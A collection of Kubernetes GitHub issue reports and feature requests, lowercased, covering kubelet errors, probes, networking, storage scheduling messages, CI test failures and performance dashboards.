hi,  i am using kube aws install version 1.3.4..  hi all, i have added new node to the cluster and getting error :  unable to find node::, deleting all assigned pods.. i  have created another asg group for minion and used the user data for minion provided by aws.. i am seeing this on  kube-master controller log.  kube master api log: getting 404 i0825 09:10:45.461119       5 handlers.go:165  get /api/v1/nodes/ip-172-31-38-232.ec2.internal:  1.680183ms  404   kubelet/v1.3.4  linux/amd64  kubernetes/dd6b458   kubelet logs of the  new node:  aug 25 09:20:24 ip-172-31-38-232 kubelet 9665 : e0825 09:20:24.675696    9665 kubelet.go:2875  error updating node status, will retry: error getting node \ ip-172-31-38-232.ec2.internal\ : nodes \ ip-172-31-38-232.ec2.internal\  not found  i am stuck on this and need inputs..

err here is never used:  https://github.com/kubernetes/kubernetes/blob/94f580ef03fd8e2cb0d4d9c2550fd231e8406dac/pkg/kubelet/kubelet.go l1389

statement of issue\r \r i have an application that listens on multiple ports, say 1234 and 4321. i would like to have a liveness check  and readiness check  that tests that the application is listening on both ports, and terminate it if it is not.\r \r i know of a number of ways to do this.\r \r - i can change the application code so that any failure leads to termination. unfortunately, some of this application code is third party, so it's hard for me to change.\r \r - i can just execute a script that checks all the ports. that requires that i install the script or tool in question on the container. for now, it is probably what i will have to do.\r \r - alternatively, i could create a probe container in the same pod that just runs a script to verify that the \ real\  container is listening, and terminates with an error if it does not. however, that doesn't really work, because kubernetes restarts my probe container rather than the entire pod  and i don't think i can change this behaviour .\r \r   possible resolutions\r \r i can see three possible resolutions, given in my personal order of preference.\r \r 1. allow configuration of multiple liveness checks to be run in parallel.\r 2. extend the pod spec to have a \ recreate entire pod on error\  option  not just options about how to restart containers , allowing use of a probe container.\r 3. allow multiple ports in a tcp connection probe.\r \r   workaround\r \r as a workaround, i can create a tool or script and install it on the container i want to check. that means messing about with third party images, but is plausible, and so is what i am doing for now.\r \r   environment\r \r i'm running kubernetes 1.4.3 in gke, but i believe this applies to all versions and environments.\r \r i am using deployments rather than replication controllers; some of the above might be implemented as extensions to the deployment or replica set configuration rather than the pod spec.\r \r

we have a common pattern of system container images that package a single go binary, but rely on a shell command simply to redirect the logs   rescheduler  https://github.com/kubernetes/contrib/blob/master/rescheduler/dockerfile ,  kube-controller-manager  https://github.com/kubernetes/kubernetes/blob/102f267b6a8012752433737bc473730fc72c12f5/cluster/saltbase/salt/kube-controller-manager/kube-controller-manager.manifest l116 ,  kube-apiserver  https://github.com/kubernetes/kubernetes/blob/102f267b6a8012752433737bc473730fc72c12f5/cluster/saltbase/salt/kube-apiserver/kube-apiserver.manifest l218 , etc. . it would be nice to remove the shell dependency for these images  to reduce the attack surface and image management . this could be done making changes to the binaries directly to pass the log destination, but that means the binaries must have write permissions  often root  to the log locations.\r \r i propose instead a simple wrapper program that takes:\r \r - command & arguments to execute\r - file location for output redirection\r -  optional  uid & gid to run subcommand as\r \r we could provide this in a scratch based image, and rebase images following this pattern on this.\r \r /cc @ixdy @thockin

this is in 1.6.0-beta.4:\r \r  mar 20 04:46:39 ip-172-20-45-81 kubelet 1552 : w0320 04:46:39.953264    1552 helpers.go:158  unknown protocol \ tcp\ : defaulting to tcp \r \r some context:\r \r    \r mar 20 04:46:39 ip-172-20-45-81 kubelet 1552 : i0320 04:46:39.947856    1552 kuberuntime_manager.go:458  container {name:etcd-container image:gcr.io/google_containers/etcd:2.2.1 command: /bin/sh -c if   -e /usr/local/bin/migrate-if-needed.sh  ; then /usr/local/bin/migrate-if-needed.sh 1>>/var/log/etcd.log 2>&1; fi; /usr/local/bin/etcd 1>>/var/log/etcd.log 2>&1  args:   workingdir: ports: {name:serverport hostport:2380 containerport:2380 protocol:tcp hostip:} {name:clientport hostport:4001 containerport:4001 protocol:tcp hostip:}  envfrom:   env: {name:data_directory value:/var/etcd/data valuefrom:nil} {name:etcd_advertise_client_urls value:http://etcd-b.internal.mar19c.awsdata.com:4001 valuefrom:nil} {name:etcd_data_dir value:/var/etcd/data valuefrom:nil} {name:etcd_initial_advertise_peer_urls value:http://etcd-b.internal.mar19c.awsdata.com:2380 valuefrom:nil} {name:etcd_initial_cluster value:etcd-b=http://etcd-b.internal.mar19c.awsdata.com:2380 valuefrom:nil} {name:etcd_initial_cluster_state value:new valuefrom:nil} {name:etcd_initial_cluster_token value:etcd-cluster-token-etcd valuefrom:nil} {name:etcd_listen_client_urls value:http://0.0.0.0:4001 valuefrom:nil} {name:etcd_listen_peer_urls value:http://0.0.0.0:2380 valuefrom:nil} {name:etcd_name value:etcd-b valuefrom:nil} {name:target_storage value:etcd2 valuefrom:nil} {name:target_version value:2.2.1 valuefrom:nil}  resources:{limits:map   requests:map cpu:{i:{value:200 scale:-3} d:{dec:<nil>} s:200m format:decimalsi} } volumemounts: {name:varetcdata readonly:false mountpath:/var/etcd/ subpath:} {name:varlogetcd readonly:false mountpath:/var/log/etcd.log subpath:}  livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/health,port:4001,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:3,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is d\r mar 20 04:46:39 ip-172-20-45-81 kubelet 1552 : ead, but restartpolicy says that we should restart it.\r mar 20 04:46:39 ip-172-20-45-81 kubelet 1552 : w0320 04:46:39.953264    1552 helpers.go:158  unknown protocol \ tcp\ : defaulting to tcp\r mar 20 04:46:39 ip-172-20-45-81 kubelet 1552 : w0320 04:46:39.953280    1552 helpers.go:158  unknown protocol \ tcp\ : defaulting to tcp\r    \r \r the line number suggests it is here: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/helpers.go l158 \r \r i _think_ this is because dockershim now uses a protobuf object  runtimeapi.portmapping  and protocol is now an int.  and  string 1   is allowed in go  apparently  -  string 65   is \ a\ .\r \r and the comedic error is because protocol implements  string   \r \r if this is the error, there's something fishy going on because all our udp tests should fail?

/assign @smarterclayton @lavalamp @dchen1107 @thockin @brendandburns @jbeda \r /cc @grodrigues3 \r \r please ensure that every sub directory of / contains an owners file.\r \r the following sub directories do not define them:\r    \r k8s.io/kubernetes$ for i in $ ls | grep -v -e '^_' ; do if    ! -d $i   ; then continue; elif    -e $i/owners   ; then continue; fi; echo missing owners: $i; done\r missing owners: api\r missing owners: godeps\r missing owners: hooks\r missing owners: staging\r missing owners: third_party\r missing owners: translations\r missing owners: vendor\r    \r \r the result of this is that any pr which changes anything in api, godeps, staging, vendor, etc will always get assigned to one of you for both the review and approval.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kubelet manifests\r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :1.6.1\r \r \r   environment  : \r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : 3.10.0-327.el7.x86_64\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r if i edit a file in /etc/kubernetes/manifests/\r the kubelet will process config files which starting with .\r exmple: /etc/kubernetes/manifests/.kube-controller-manager.yaml.swp\r \r   what you expected to happen  :\r it is unnecessary to process config files which starting with .\r \r   how to reproduce it    as minimally and precisely as possible :\r vim /etc/kubernetes/manifests/kube-controller-manager.yaml\r \r   anything else we need to know  :\r none\r

1. create an apiservice that routes to an external api server  e.g. service catalog  via a service  my-service  in namespace  my-namespace \r 2. specify a cabundle in the apiservice\r 3. run the external api server with a certificate signed for  my-service.my-namespace.svc \r \r result:\r   normal api requests  get/put/post  work as expected\r   normal watch requests work as expected\r   upgrade requests  e.g. websocket watch requests  return a 500 error with text like  error dialing backend: x509: cannot validate certificate for 172.30.1.2 because it doesn't contain any ip sans \r \r cc @kubernetes/sig-api-machinery-bugs

today hierarchical memcg may not be enabled on the host we run. as we move towards \ cgroup under\  we need to enable hierarchical memcg to get proper accounting and behavior.

recently while starting a large cluster with ip aliases enabled, i observed that the cidr allocation was too slow. this leads to cluster startup failing the validation step with some nodes unready.\r there seem to be no issues on the gce side as the nodes already have the alias ip range assigned. the issue is with cloud-cidr-controller  range allocator is fine . it's slow because of at least 2 reasons:\r - processing work queue serially  unlike range allocator which does it concurrently \r - blocking the main control loop on nodespec update  this should be done through a separate channel \r \r i have a fix for this in progress. besides these, there are multiple other improvements that can be made to cidr allocators. i'll file a separate issue for it.\r \r cc @kubernetes/sig-network-bugs @kubernetes/sig-scalability-misc @wojtek-t @bowei @thockin

failure cluster  c49044b7fa3094fa3e5a  https://go.k8s.io/triage c49044b7fa3094fa3e5a        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/statefulset.go:921 sep 16 21:07:58.163: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:323           failure cluster statistics: 13 tests failed,    10 jobs failed,    58 builds failed. failure stats cover 1 day time range '22 sep 2017 20:21 utc' to '23 sep 2017 20:21 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should perform rolling updates and roll backs of template modifications | 5 | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should perform canary updates and phased rolling updates of template modifications | 3 | |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should implement legacy replacement when the update strategy is ondelete | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-statefulset | 25 |  23 sep 2017 18:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/11045  | | ci-kubernetes-e2e-gce-statefulset | 25 |  23 sep 2017 19:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/10942  | | ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster | 1 |  23 sep 2017 06:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/2035  |  /assign @rkouj @derekwaynecarr @bprashanth  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity;  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | rkouj |  sig-apps  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working cockroachdb cluster;  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should allow template updates | | derekwaynecarr |  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy | | sig/apps |  sig-apps  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working cockroachdb cluster;  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy;  sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | | sig/network |  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should come back up if node goes down  slow   disruptive ;  k8s.io  network partition  disruptive   slow   k8s.io   statefulset  should not reschedule stateful pods if there is a network partition  slow   disruptive  |  </details><br>   current status  https://go.k8s.io/triage c49044b7fa3094fa3e5a

 \r curiosity question - and apologies if this is not the right place to ask - are there existing opinions on refactoring the  a.computereplicasformetrics  and  a.reconcileautoscaler  methods in  horizontal.go  into smaller components? overall, i’ve found the  podautoscaler  package fantastic to work with - the one tricky thing is that  at least for a newcomer , some of the methods can be pretty long. i’d love to take a shot at breaking them up, but i wanted to check in with the community first and see if it is something that’s been thought about/if people think it would be helpful! thanks : \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r  docker pull gcr.io/googe_containers/hyperkube:1.6.12  fails to download the image, giving the following error:\r     \r $ docker pull gcr.io/google_containers/hyperkube:1.6.12\r pulling repository gcr.io/google_containers/hyperkube\r unauthorized: authentication required\r     \r \r   what you expected to happen  :\r  docker pull  should have successfully downloaded the image.\r   how to reproduce it  as minimally and precisely as possible   :\r run  docker pull gcr.io/googe_containers/hyperkube:1.6.12  without any configured credentials.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.6.12 \r - cloud provider or hardware configuration:  libvirt + qemu/kvm \r - os  e.g. from /etc/os-release : \r     \r name=\ container linux by coreos\ \r id=coreos\r version=1520.8.0\r version_id=1520.8.0\r build_id=2017-10-26-0342\r pretty_name=\ container linux by coreos 1520.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r     \r - kernel  e.g.  uname -a  :  linux yggdresil 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel core processor  broadwell  \r - install tools: \r - others:\r     \r $ docker version\r client:\r  version:      1.12.6\r  api version:  1.24\r  go version:   go1.7.6\r  git commit:   d9ad3fc\r  built:        thu oct 26 03:30:45 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.6\r  api version:  1.24\r  go version:   go1.7.6\r  git commit:   d9ad3fc\r  built:        thu oct 26 03:30:45 2017\r  os/arch:      linux/amd64\r     \r

is this a bug report or feature request?  :\r  \r   what happened  :\r the clientset has deprecated the non versioned interfaces such as core    staging/src/k8s.io/client-go/kubernetes/clientset.go  in preference to versioned interfaces such as corev1  . however the sharedinformerfactory has not yet  staging/src/k8s.io/client-go/informers/factory.go  deprecated these methods in preference to versioned methods. \r \r   what you expected to happen  :\r we should keep these consistent.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r we are running ha k8s api  3x api   and when one of the k8s api is down, we got issues with accessing k8s api when using in-cluster config  that means via kubernetes service created in the default namespaces .\r \r api are running on ips  10.10.0.101, 10.10.0.102, 10.10.0.103 \r    \r 14a32b2b9 ~ $ kubectl get svc\r name         type        cluster-ip     external-ip   port s    age\r kubernetes   clusterip   172.18.192.1   <none>        443/tcp   117d\r 14a32b2b9 ~ $ kubectl describe svc kubernetes\r name:              kubernetes\r namespace:         default\r labels:            component=apiserver\r                    provider=kubernetes\r annotations:       <none>\r selector:          <none>\r type:              clusterip\r ip:                172.18.192.1\r port:              https  443/tcp\r targetport:        6443/tcp\r endpoints:         10.143.29.101:6443,10.143.29.102:6443,10.143.29.103:6443\r session affinity:  clientip\r events:            <none>\r \r 14a32b2b9 ~ $ kubectl get ep \r name         endpoints                                                  age\r kubernetes   10.10.0.101:6443,10.10.0.102:6443,10.10.0.103:6443   117d\r    \r \r when one of our api is offline,  the endpoint list is still same and kube-proxy is creating rules with forwarding to the offline api which result in failure.\r \r we run k8s-api as pod via manifest folder  in kubelet.\r    \r containers:\r   - name: k8s-apiserver\r     image: quay.io/giantswarm/hyperkube:v1.7.5_coreos.0\r     command:\r     - /hyperkube\r     - apiserver\r     - --apiserver-count=3\r     - --allow-privileged=true\r     - --secure-port=6443\r     - --runtime-config=api/all=true\r     - --insecure_bind_address=127.0.0.1\r     - --insecure_port=8080\r     - --kubelet_https=true\r     - --bind-address=10.10.0.101\r     - --etcd-prefix=k8s\r     - --admission-control=namespacelifecycle,limitranger,serviceaccount,resourcequota\r     - --service-cluster-ip-range=172.31.0.1/16\r     - --etcd-servers=https://10.10.0.101:2379\r     - --etcd-cafile=/etc/kubernetes/ssl/apiserver-ca.pem\r     - --etcd-certfile=/etc/kubernetes/ssl/apiserver.pem\r     - --etcd-keyfile=/etc/kubernetes/ssl/apiserver-key.pem\r     - --advertise-address=10.10.0.101\r     - --logtostderr=true\r     - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem\r     - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --client-ca-file=/etc/kubernetes/ssl/apiserver-ca.pem\r     - --service-account-key-file=/etc/kubernetes/ssl/sa_private_key.pem\r     - --audit-log-path=/var/log/apiserver/audit.log\r     - --audit-log-maxage=30\r     - --audit-log-maxbackup=10\r     - --audit-log-maxsize=100\r    \r \r   what you expected to happen  :\r i would expect that there is some kind of control check that ensure that only healthy apis are listed in the  kubernetes  endpoint resource.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r   spawn k8s cluster with 6 nodes - 3 masters with k8s api + kubelet and 3x worker node with kubelet\r   wait until cluster is initialized and fully working\r   shut down one of the api node\r   test access to kubernetes in-cluster service from worker nodes. some of them will work and some of them will fail due to  1 out of 3 offline apis.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1465.8.0\r version_id=1465.8.0\r build_id=2017-09-20-2237\r pretty_name=\ container linux by coreos 1465.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 00008df14a32b2b9 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2637 v2 @ 3.50ghz genuineintel gnu/linux\r    \r - install tools: selfhosted\r - others:\r

hi,\r \r i run a   kubernetes 1.8.x ipv6-only   cluster from few weeks now and everything works fine except one of the most painful problem,  services clusterip . \r \r when creating a  clusterip: none  service on kubernetes, you can speak to the service name  like  kubernetes.default.svc.cluster.local  using endpoints  pod ip  instead of cluster ip  10.32.x.x/16 . \r \r it would be awesome, for the 1.9.x branch to be able to disable clusterip on the  kube-apiserver  side. for example, with this args : \r \r    \r --service-cluster-ip-range=none\r    \r the impact of this should replace  type: clusterip  to  clusterip: none  in kubernetes services. \r \r it would be a great thing for people who want to avoid clusterip nat for specific services  like udp stuffs, sip, dns  which is recommended avoiding packet manipulation. \r \r another thing, actually if you enable ipv6 in your cluster  dual-stack  because of the ipv4 clusterip,  ipv6 will not be used a lot. \r \r if   --service-cluster-ip-range=none  can turn by default  clusterip: none , the apiserver should record the pod's ipv6 by default instead of the ipv4 one  in dual-stack cluster . \r \r here is my ipv6-only configuration detailed in a blog post : \r https://opsnotice.xyz/kubernetes-ipv6-only/\r \r any thought about that ?\r \r  @kubernetes/sig-network

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r with work being done in  59705 and  59809, it is now possible to select a pod from a collection of pods via resource/name.  it is now more natural to support re-attach if the selected pod terminated during a port-forward session to improve user experience.\r \r   what you expected to happen  :\r \r kubectl port-forward resource/name would re-attach to a new qualified pod if the selected one died, without having to re-run the command\r \r

please reopen ticket  57801 - i believe the problem reoccured in v1.12\r @area/kubelet-api\r \r   what happened  :\r \r kind deployment does not care about private registry.\r \r   what you expected to happen  :\r \r following the official guide to setup a private docker registry works with deployments, too.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r follow https://kubernetes.io/docs/concepts/containers/images/ using-a-private-registry\r to configure a private registry. publish an image to your private registry and try to use is within a yaml kind: deployment. result: image can't be pulled.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client v1.12  git 1.12.0 \r server v1.12  git 1.12.2 \r  \r - cloud provider or hardware configuration:\r onpremise\r - os  e.g. from /etc/os-release :\r centos7\r - install tools:\r kubeadm\r \r \r <!-- do not edit below this line -->\r 

prerequisites  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/gce.md prerequisites  section seems to be outdated, especially: - since googleinfluxdb monitoring level is default option we need google cloud monitoring api enabled - mig is no longer under preview  see  12897

merging  21122 has caused a lot of jenkins builds to fail once, since they report that we've leaked networks, default routes, and default firewalls. this is because we create the gcp network if it doesn't exist yet, but we never tear it down.  is this by design? or should we be tearing down the test network when we tear down the rest of the cluster?  @kubernetes/goog-testing @kubernetes/goog-cluster

test has been failing  100% of the time  https://k8s-testgrid.appspot.com/google-1.4-1.5-upgrade gce-cvm-1.4-cvm-1.5-upgrade-master&width=20&sort-by-failures=&include-filter-by-regex=scheduledjob%20should%20not%20emit%20unexpected%20warnings  in  ci-kubernetes-e2e-gce-1.4-1.5-upgrade-master  https://k8s-testgrid.appspot.com/google-1.4-1.5-upgrade gce-cvm-1.4-cvm-1.5-upgrade-master&width=20&sort-by-failures= . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.4-1.5-upgrade-master/15 .\r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1325239137&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

currently deployments, rc and rs have scale endpoint which allows directly scaling those instead of mutating the object's spec when scaling up/down.  kubectl scale job  modifies  .spec.parallelism  directly. i'm proposing jobs should have  /scale  endpoint to leverage scale functionality. \r \r @kubernetes/sig-apps ideas/objections?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r persistentvolumeclaim\r \ schedulerpredicates failed due to persistentvolumeclaim is not bound\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.5.1\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:30:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal, 3 modes\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : linux  .cybraics.com 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kismatic 1.2.0\r -   others  : using 1.0.3 of the kubernetes-incubator/nfs-provisioner for testing\r \r \r   what happened  :\r \r created a single persistentvolumeclaim and a single pod which mounted it. noted it was stuck pending. did a  kubectl describe pod  and saw the following message about unbound persistentvolumeclaims. however, those pvcs are not referenced by this pod!  instead, it references another pvc which is also unbound.\r \r \r {default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected. \r \r {default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected. \r \r \r   what you expected to happen  :\r \r  kubectl describe  should have reported just one unbound:\r \r {default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ nfstestclaimrs\ , which is unexpected. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r i assume that having several unbound pvcs in addition to the one the pod is trying to mount might trigger this logging error.\r \r   anything else we need to know  :\r \r full describe:\r \r    \r name:\t\tpvc-reader\r namespace:\tdefault\r node:\t\tgrav2/10.2.1.63\r start time:\tmon, 06 feb 2017 21:29:26 -0500\r labels:\t\t<none>\r status:\t\trunning\r ip:\t\t172.16.127.165\r controllers:\t<none>\r containers:\r   pvc-reader1:\r     container id:\tdocker://e02a3861f8b78e6516d3ccbba19d0d485e673176e862ea4ee579ac6a2f87b60a\r     image:\t\tgcr.io/google_containers/busybox:1.24\r     image id:\t\tdocker://sha256:0cb40641836c461bc97c793971d84d758371ed682042457523e4ae701efe7ec9\r     port:\t\t\r     command:\r       /bin/sh\r     args:\r       -c\r       sleep 9999999\r     state:\t\trunning\r       started:\t\tmon, 06 feb 2017 21:29:28 -0500\r     ready:\t\ttrue\r     restart count:\t0\r     volume mounts:\r       /mnt from nfs-root  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-qjf53  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \ttrue \r   podscheduled \ttrue \r volumes:\r   nfs-root:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tnfstestclaimrs\r     readonly:\tfalse\r   default-token-qjf53:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-qjf53\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t\t-------\r   14m\t\t10m\t\t12\t{default-scheduler }\t\t\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected. \r   14m\t\t10m\t\t9\t{default-scheduler }\t\t\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected. \r   9m\t\t5m\t\t7\t{default-scheduler }\t\t\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected. \r   9m\t\t4m\t\t14\t{default-scheduler }\t\t\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-redis-data\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ p8675309-elasticsearch-claim\ , which is unexpected. \r \r    \r

now we have several performance tests:\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/kubelet_perf.go\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/perf/density.go\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/perf/load.go\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/resource_usage_test.go\r   https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/density_test.go\r \r all of them are using https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/perf_util.go, and printing the benchmark metrics into the test result directly.\r \r http://perf-dash.k8s.io/ and http://node-perf-dash.k8s.io/ parse the test output, get the benchmark metrics and generate the performance dashboard.\r \r however, both dashboards are broken now, because:\r 1  all job names were changed in a recent test-infra refactoring, e.g.  kubernetes-e2e-gce-scalability  =>  ci-kubernetes-e2e-gce-scalability . however, the configuration in the dashboard is not changed https://github.com/kubernetes/contrib/blob/master/perfdash/config.go and https://github.com/kubernetes/contrib/blob/master/node-perf-dash/node-perf-dash-deployment.yaml.\r 2  each line of test log is prefixed with an extra timestamp now, which breaks the log parsing logic, e.g. https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability/1677/build-log.txt.\r \r the whole logic is so brittle. we should generate a dedicated file for performance metrics, and let the dashboard consume the metrics file.\r \r @dchen1107 @ixdy @krzyzacy @gmarek @wojtek-t \r /cc @kubernetes/sig-scalability-misc @kubernetes/sig-node-bugs

